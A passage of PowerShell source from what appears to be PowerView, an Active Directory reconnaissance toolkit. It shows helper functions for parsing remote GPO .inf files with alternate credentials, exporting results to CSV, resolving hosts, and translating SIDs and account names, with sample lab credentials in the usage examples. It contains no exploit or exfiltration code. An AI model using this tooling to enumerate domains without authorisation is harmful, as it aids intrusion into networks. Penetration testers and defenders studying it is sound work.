$UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | | |
# Find parameters that are belong to the current parameter set | |
Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | | |
Select-Object -ExpandProperty Key | | |
# Find unbound parameters in the current parameter set | |
Where-Object { $PSBoundParameters.Keys -notcontains $_ } | |
# Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified) | |
$tmp = $null | |
ForEach ($Parameter in $UnboundParameters) { | |
$DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 | |
if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { | |
$PSBoundParameters.$Parameter = $DefaultValue | |
} | |
} | |
if($Dictionary) { | |
$DPDictionary = $Dictionary | |
} | |
else { | |
$DPDictionary = $InternalDictionary | |
} | |
# Shortcut for getting local variables | |
$GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} | |
# Strings to match attributes and validation arguments | |
$AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' | |
$ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' | |
$AliasRegex = '^Alias$' | |
$ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute | |
switch -regex ($PSBoundParameters.Keys) { | |
$AttributeRegex { | |
Try { | |
$ParameterAttribute.$_ = . $GetVar | |
} | |
Catch { | |
$_ | |
} | |
continue | |
} | |
} | |
if($DPDictionary.Keys -contains $Name) { | |
$DPDictionary.$Name.Attributes.Add($ParameterAttribute) | |
} | |
else { | |
$AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] | |
switch -regex ($PSBoundParameters.Keys) { | |
$ValidationRegex { | |
Try { | |
$ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop | |
$AttributeCollection.Add($ParameterOptions) | |
} | |
Catch { $_ } | |
continue | |
} | |
$AliasRegex { | |
Try { | |
$ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop | |
$AttributeCollection.Add($ParameterAlias) | |
continue | |
} | |
Catch { $_ } | |
} | |
} | |
$AttributeCollection.Add($ParameterAttribute) | |
$Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) | |
$DPDictionary.Add($Name, $Parameter) | |
} | |
} | |
} | |
End { | |
if(!$CreateVariables -and !$Dictionary) { | |
$DPDictionary | |
} | |
} | |
} | |
function Get-IniContent { | |
<# | |
.SYNOPSIS | |
This helper parses an .ini file into a hashtable. | |
Author: 'The Scripting Guys' | |
Modifications: @harmj0y (-Credential support) | |
License: BSD 3-Clause | |
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection | |
.DESCRIPTION | |
Parses an .ini file into a hashtable. If -Credential is supplied, | |
then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file | |
is parsed, and then the connection is destroyed with Remove-RemoteConnection. | |
.PARAMETER Path | |
Specifies the path to the .ini file to parse. | |
.PARAMETER OutputObject | |
Switch. Output a custom PSObject instead of a hashtable. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the remote system. | |
.EXAMPLE | |
Get-IniContent C:\Windows\example.ini | |
.EXAMPLE | |
"C:\Windows\example.ini" | Get-IniContent -OutputObject | |
Outputs the .ini details as a proper nested PSObject. | |
.EXAMPLE | |
"C:\Windows\example.ini" | Get-IniContent | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred | |
.INPUTS | |
String | |
Accepts one or more .ini paths on the pipeline. | |
.OUTPUTS | |
Hashtable | |
Ouputs a hashtable representing the parsed .ini file. | |
.LINK | |
https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([Hashtable])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('FullName', 'Name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Path, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$OutputObject | |
) | |
BEGIN { | |
$MappedComputers = @{} | |
} | |
PROCESS { | |
ForEach ($TargetPath in $Path) { | |
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { | |
$HostComputer = (New-Object System.Uri($TargetPath)).Host | |
if (-not $MappedComputers[$HostComputer]) { | |
# map IPC$ to this computer if it's not already | |
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential | |
$MappedComputers[$HostComputer] = $True | |
} | |
} | |
if (Test-Path -Path $TargetPath) { | |
if ($PSBoundParameters['OutputObject']) { | |
$IniObject = New-Object PSObject | |
} | |
else { | |
$IniObject = @{} | |
} | |
Switch -Regex -File $TargetPath { | |
"^\[(.+)\]" # Section | |
{ | |
$Section = $matches[1].Trim() | |
if ($PSBoundParameters['OutputObject']) { | |
$Section = $Section.Replace(' ', '') | |
$SectionObject = New-Object PSObject | |
$IniObject | Add-Member Noteproperty $Section $SectionObject | |
} | |
else { | |
$IniObject[$Section] = @{} | |
} | |
$CommentCount = 0 | |
} | |
"^(;.*)$" # Comment | |
{ | |
$Value = $matches[1].Trim() | |
$CommentCount = $CommentCount + 1 | |
$Name = 'Comment' + $CommentCount | |
if ($PSBoundParameters['OutputObject']) { | |
$Name = $Name.Replace(' ', '') | |
$IniObject.$Section | Add-Member Noteproperty $Name $Value | |
} | |
else { | |
$IniObject[$Section][$Name] = $Value | |
} | |
} | |
"(.+?)\s*=(.*)" # Key | |
{ | |
$Name, $Value = $matches[1..2] | |
$Name = $Name.Trim() | |
$Values = $Value.split(',') | ForEach-Object { $_.Trim() } | |
# if ($Values -isnot [System.Array]) { $Values = @($Values) } | |
if ($PSBoundParameters['OutputObject']) { | |
$Name = $Name.Replace(' ', '') | |
$IniObject.$Section | Add-Member Noteproperty $Name $Values | |
} | |
else { | |
$IniObject[$Section][$Name] = $Values | |
} | |
} | |
} | |
$IniObject | |
} | |
} | |
} | |
END { | |
# remove the IPC$ mappings | |
$MappedComputers.Keys | Remove-RemoteConnection | |
} | |
} | |
function Export-PowerViewCSV { | |
<# | |
.SYNOPSIS | |
Converts objects into a series of comma-separated (CSV) strings and saves the | |
strings in a CSV file in a thread-safe manner. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
.DESCRIPTION | |
This helper exports an -InputObject to a .csv in a thread-safe manner | |
using a mutex. This is so the various multi-threaded functions in | |
PowerView has a thread-safe way to export output to the same file. | |
Uses .NET IO.FileStream/IO.StreamWriter objects for speed. | |
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 | |
.PARAMETER InputObject | |
Specifies the objects to export as CSV strings. | |
.PARAMETER Path | |
Specifies the path to the CSV output file. | |
.PARAMETER Delimiter | |
Specifies a delimiter to separate the property values. The default is a comma (,) | |
.PARAMETER Append | |
Indicates that this cmdlet adds the CSV output to the end of the specified file. | |
Without this parameter, Export-PowerViewCSV replaces the file contents without warning. | |
.EXAMPLE | |
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" | |
.EXAMPLE | |
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' | |
.INPUTS | |
PSObject | |
Accepts one or more PSObjects on the pipeline. | |
.LINK | |
http://poshcode.org/1590 | |
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[System.Management.Automation.PSObject[]] | |
$InputObject, | |
[Parameter(Mandatory = $True, Position = 1)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Path, | |
[Parameter(Position = 2)] | |
[ValidateNotNullOrEmpty()] | |
[Char] | |
$Delimiter = ',', | |
[Switch] | |
$Append | |
) | |
BEGIN { | |
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) | |
$Exists = [System.IO.File]::Exists($OutputPath) | |
# mutex so threaded code doesn't stomp on the output file | |
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' | |
$Null = $Mutex.WaitOne() | |
if ($PSBoundParameters['Append']) { | |
$FileMode = [System.IO.FileMode]::Append | |
} | |
else { | |
$FileMode = [System.IO.FileMode]::Create | |
$Exists = $False | |
} | |
$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) | |
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream) | |
$CSVWriter.AutoFlush = $True | |
} | |
PROCESS { | |
ForEach ($Entry in $InputObject) { | |
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation | |
if (-not $Exists) { | |
# output the object field names as well | |
$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } | |
$Exists = $True | |
} | |
else { | |
# only output object field data | |
$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } | |
} | |
} | |
} | |
END { | |
$Mutex.ReleaseMutex() | |
$CSVWriter.Dispose() | |
$CSVStream.Dispose() | |
} | |
} | |
function Resolve-IPAddress { | |
<# | |
.SYNOPSIS | |
Resolves a given hostename to its associated IPv4 address. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
.DESCRIPTION | |
Resolves a given hostename to its associated IPv4 address using | |
[Net.Dns]::GetHostEntry(). If no hostname is provided, the default | |
is the IP address of the localhost. | |
.EXAMPLE | |
Resolve-IPAddress -ComputerName SERVER | |
.EXAMPLE | |
@("SERVER1", "SERVER2") | Resolve-IPAddress | |
.INPUTS | |
String | |
Accepts one or more IP address strings on the pipeline. | |
.OUTPUTS | |
System.Management.Automation.PSCustomObject | |
A custom PSObject with the ComputerName and IPAddress. | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.Management.Automation.PSCustomObject')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = $Env:COMPUTERNAME | |
) | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
try { | |
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { | |
if ($_.AddressFamily -eq 'InterNetwork') { | |
$Out = New-Object PSObject | |
$Out | Add-Member Noteproperty 'ComputerName' $Computer | |
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString | |
$Out | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." | |
} | |
} | |
} | |
} | |
function ConvertTo-SID { | |
<# | |
.SYNOPSIS | |
Converts a given user/group name to a security identifier (SID). | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain | |
.DESCRIPTION | |
Converts a "DOMAIN\username" syntax to a security identifier (SID) | |
using System.Security.Principal.NTAccount's translate function. If alternate | |
credentials are supplied, then Get-ADObject is used to try to map the name | |
to a security identifier. | |
.PARAMETER ObjectName | |
The user/group name to convert, can be 'user' or 'DOMAIN\user' format. | |
.PARAMETER Domain | |
Specifies the domain to use for the translation, defaults to the current domain. | |
.PARAMETER Server | |
Specifies an Active Directory server (domain controller) to bind to for the translation. | |
.PARAMETER Credential | |
Specifies an alternate credential to use for the translation. | |
.EXAMPLE | |
ConvertTo-SID 'DEV\dfm' | |
.EXAMPLE | |
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred | |
.INPUTS | |
String | |
Accepts one or more username specification strings on the pipeline. | |
.OUTPUTS | |
String | |
A string representing the SID of the translated name. | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([String])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name', 'Identity')] | |
[String[]] | |
$ObjectName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$DomainSearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
ForEach ($Object in $ObjectName) { | |
$Object = $Object -Replace '/','\' | |
if ($PSBoundParameters['Credential']) { | |
$DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments | |
if ($DN) { | |
$UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
$UserName = $DN.Split(',')[0].split('=')[1] | |
$DomainSearcherArguments['Identity'] = $UserName | |
$DomainSearcherArguments['Domain'] = $UserDomain | |
$DomainSearcherArguments['Properties'] = 'objectsid' | |
Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid | |
} | |
} | |
else { | |
try { | |
if ($Object.Contains('\')) { | |
$Domain = $Object.Split('\')[0] | |
$Object = $Object.Split('\')[1] | |
} | |
elseif (-not $PSBoundParameters['Domain']) { | |
$DomainSearcherArguments = @{} | |
$Domain = (Get-Domain @DomainSearcherArguments).Name | |
} | |
$Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) | |
$Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value | |
} | |
catch { | |
Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" | |
} | |
} | |
} | |
} | |
} | |
function ConvertFrom-SID { | |
<# | |
.SYNOPSIS | |
Converts a security identifier (SID) to a group/user name. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: Convert-ADName | |
.DESCRIPTION | |
Converts a security identifier string (SID) to a group/user name | |
using Convert-ADName. | |
.PARAMETER ObjectSid | |
Specifies one or more SIDs to convert. | |
.PARAMETER Domain | |
Specifies the domain to use for the translation, defaults to the current domain. | |
.PARAMETER Server | |
Specifies an Active Directory server (domain controller) to bind to for the translation. | |
.PARAMETER Credential | |
Specifies an alternate credential to use for the translation. | |
.EXAMPLE | |
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 | |
TESTLAB\harmj0y | |
.EXAMPLE | |
"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID | |
TESTLAB\WINDOWS2$ | |
TESTLAB\harmj0y | |
BUILTIN\Distributed COM Users | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) | |
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred | |
TESTLAB\harmj0y | |
.INPUTS | |
String | |
Accepts one or more SID strings on the pipeline. | |
.OUTPUTS | |
String | |
The converted DOMAIN\username. | |
#> | |
[OutputType([String])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('SID')] | |
[ValidatePattern('^S-1-.*')] | |
[String[]] | |
$ObjectSid, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$ADNameArguments = @{} | |
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
ForEach ($TargetSid in $ObjectSid) { | |
$TargetSid = $TargetSid.trim('*') | |
try { | |
# try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 | |
Switch ($TargetSid) { | |
'S-1-0' { 'Null Authority' } | |
'S-1-0-0' { 'Nobody' } | |
'S-1-1' { 'World Authority' } | |
'S-1-1-0' { 'Everyone' } | |
'S-1-2' { 'Local Authority' } | |
'S-1-2-0' { 'Local' } | |
'S-1-2-1' { 'Console Logon ' } | |
'S-1-3' { 'Creator Authority' } | |
'S-1-3-0' { 'Creator Owner' } | |
'S-1-3-1' { 'Creator Group' } | |
'S-1-3-2' { 'Creator Owner Server' } | |
'S-1-3-3' { 'Creator Group Server' } | |
'S-1-3-4' { 'Owner Rights' } | |
'S-1-4' { 'Non-unique Authority' } | |
'S-1-5' { 'NT Authority' } | |
'S-1-5-1' { 'Dialup' } | |
'S-1-5-2' { 'Network' } | |
'S-1-5-3' { 'Batch' } | |
'S-1-5-4' { 'Interactive' } | |
'S-1-5-6' { 'Service' } | |
'S-1-5-7' { 'Anonymous' } | |
'S-1-5-8' { 'Proxy' } | |
'S-1-5-9' { 'Enterprise Domain Controllers' } | |
'S-1-5-10' { 'Principal Self' } | |
'S-1-5-11' { 'Authenticated Users' } | |
'S-1-5-12' { 'Restricted Code' } | |
'S-1-5-13' { 'Terminal Server Users' } | |
'S-1-5-14' { 'Remote Interactive Logon' } | |
'S-1-5-15' { 'This Organization ' } | |
'S-1-5-17' { 'This Organization ' } | |
'S-1-5-18' { 'Local System' } | |
'S-1-5-19' { 'NT Authority' } | |
'S-1-5-20' { 'NT Authority' } | |
'S-1-5-80-0' { 'All Services ' } | |
'S-1-5-32-544' { 'BUILTIN\Administrators' } | |
'S-1-5-32-545' { 'BUILTIN\Users' } | |
'S-1-5-32-546' { 'BUILTIN\Guests' } | |
'S-1-5-32-547' { 'BUILTIN\Power Users' } | |
'S-1-5-32-548' { 'BUILTIN\Account Operators' } | |
'S-1-5-32-549' { 'BUILTIN\Server Operators' } | |
'S-1-5-32-550' { 'BUILTIN\Print Operators' } | |
'S-1-5-32-551' { 'BUILTIN\Backup Operators' } | |
'S-1-5-32-552' { 'BUILTIN\Replicators' } | |
'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } | |
'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } | |
'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } | |
'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } | |
'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } | |
'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } | |
'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } | |
'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } | |
'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } | |
'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } | |
'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } | |
'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } | |
'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } | |
'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } | |
'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } | |
'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } | |
'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } | |
'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } | |
Default { | |
Convert-ADName -Identity $TargetSid @ADNameArguments | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" | |
} | |
} | |
} | |
} | |
function Convert-ADName { | |
<# | |
.SYNOPSIS | |
Converts Active Directory object names between a variety of formats. | |
Author: Bill Stewart, Pasquale Lantella | |
Modifications: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
.DESCRIPTION | |
This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) | |
and translates Active Directory names between various formats using the NameTranslate COM object. | |
.PARAMETER Identity | |
Specifies the Active Directory object name to translate, of the following form: | |
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' | |
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' | |
NT4 domain\username; e.g., 'fabrikam\pflynn' | |
Display display name, e.g. 'pflynn' | |
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' | |
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' | |
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' | |
UPN user principal name; e.g., 'pflynn@fabrikam.com' | |
CanonicalEx extended canonical name format | |
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' | |
SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' | |
.PARAMETER OutputType | |
Specifies the output name type you want to convert to, which must be one of the following: | |
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' | |
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' | |
NT4 domain\username; e.g., 'fabrikam\pflynn' | |
Display display name, e.g. 'pflynn' | |
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' | |
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' | |
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' | |
UPN user principal name; e.g., 'pflynn@fabrikam.com' | |
CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' | |
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' | |
.PARAMETER Domain | |
Specifies the domain to use for the translation, defaults to the current domain. | |
.PARAMETER Server | |
Specifies an Active Directory server (domain controller) to bind to for the translation. | |
.PARAMETER Credential | |
Specifies an alternate credential to use for the translation. | |
.EXAMPLE | |
Convert-ADName -Identity "TESTLAB\harmj0y" | |
harmj0y@testlab.local | |
.EXAMPLE | |
"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical | |
testlab.local/Users/krbtgt | |
testlab.local/Users/Administrator | |
.EXAMPLE | |
Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local | |
CN=harmj0y,CN=Users,DC=testlab,DC=local | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) | |
'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred | |
TESTLAB\harmj0y | |
.INPUTS | |
String | |
Accepts one or more objects name strings on the pipeline. | |
.OUTPUTS | |
String | |
Outputs a string representing the converted name. | |
.LINK | |
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats | |
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[OutputType([String])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name', 'ObjectName')] | |
[String[]] | |
$Identity, | |
[String] | |
[ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] | |
$OutputType, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$NameTypes = @{ | |
'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com | |
'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn | |
'NT4' = 3 # fabrikam\pflynn | |
'Display' = 4 # pflynn | |
'DomainSimple' = 5 # pflynn@fabrikam.com | |
'EnterpriseSimple' = 6 # pflynn@fabrikam.com | |
'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} | |
'Unknown' = 8 # unknown type - let the server do translation | |
'UPN' = 9 # pflynn@fabrikam.com | |
'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn | |
'SPN' = 11 # HTTP/kairomac.contoso.com | |
'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 | |
} | |
# accessor functions from Bill Stewart to simplify calls to NameTranslate | |
function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { | |
$Output = $Null | |
$Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) | |
Write-Output $Output | |
} | |
function Get-Property([__ComObject] $Object, [String] $Property) { | |
$Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) | |
} | |
function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { | |
[Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) | |
} | |
# https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx | |
if ($PSBoundParameters['Server']) { | |
$ADSInitType = 2 | |
$InitName = $Server | |
} | |
elseif ($PSBoundParameters['Domain']) { | |
$ADSInitType = 1 | |
$InitName = $Domain | |
} | |
elseif ($PSBoundParameters['Credential']) { | |
$Cred = $Credential.GetNetworkCredential() | |
$ADSInitType = 1 | |
$InitName = $Cred.Domain | |
} | |
else { | |
# if no domain or server is specified, default to GC initialization | |
$ADSInitType = 3 | |
$InitName = $Null | |
} | |
} | |
PROCESS { | |
ForEach ($TargetIdentity in $Identity) { | |
if (-not $PSBoundParameters['OutputType']) { | |
if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { | |
$ADSOutputType = $NameTypes['DomainSimple'] | |
} | |
else { | |
$ADSOutputType = $NameTypes['NT4'] | |
} | |
} | |
else { | |
$ADSOutputType = $NameTypes[$OutputType] | |
} | |
$Translate = New-Object -ComObject NameTranslate | |
if ($PSBoundParameters['Credential']) { | |
try { | |
$Cred = $Credential.GetNetworkCredential() | |
Invoke-Method $Translate 'InitEx' ( | |
$ADSInitType, | |
$InitName, | |
$Cred.UserName, | |
$Cred.Domain, | |
$Cred.Password | |
) | |
} | |
catch { | |
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" | |
} | |
} | |
else { | |
try { | |
$Null = Invoke-Method $Translate 'Init' ( | |
$ADSInitType, | |
$InitName | |
) | |
} | |
catch { | |
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" | |
} | |
} | |
# always chase all referrals | |
Set-Property $Translate 'ChaseReferral' (0x60) | |
try { | |
# 8 = Unknown name type -> let the server do the work for us | |
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) | |
Invoke-Method $Translate 'Get' ($ADSOutputType) | |
} | |
catch [System.Management.Automation.MethodInvocationException] { | |
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" | |
} | |
} | |
} | |
} | |
function ConvertFrom-UACValue { | |
<# | |
.SYNOPSIS | |
Converts a UAC int value to human readable form. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
.DESCRIPTION | |
This function will take an integer that represents a User Account | |
Control (UAC) binary blob and will covert it to an ordered | |
dictionary with each bitwise value broken out. By default only values | |
set are displayed- the -ShowAll switch will display all values with | |
a + next to the ones set. | |
.PARAMETER Value | |
Specifies the integer UAC value to convert. | |
.PARAMETER ShowAll | |
Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. | |
.EXAMPLE | |
ConvertFrom-UACValue -Value 66176 | |
Name Value | |
---- ----- | |
ENCRYPTED_TEXT_PWD_ALLOWED 128 | |
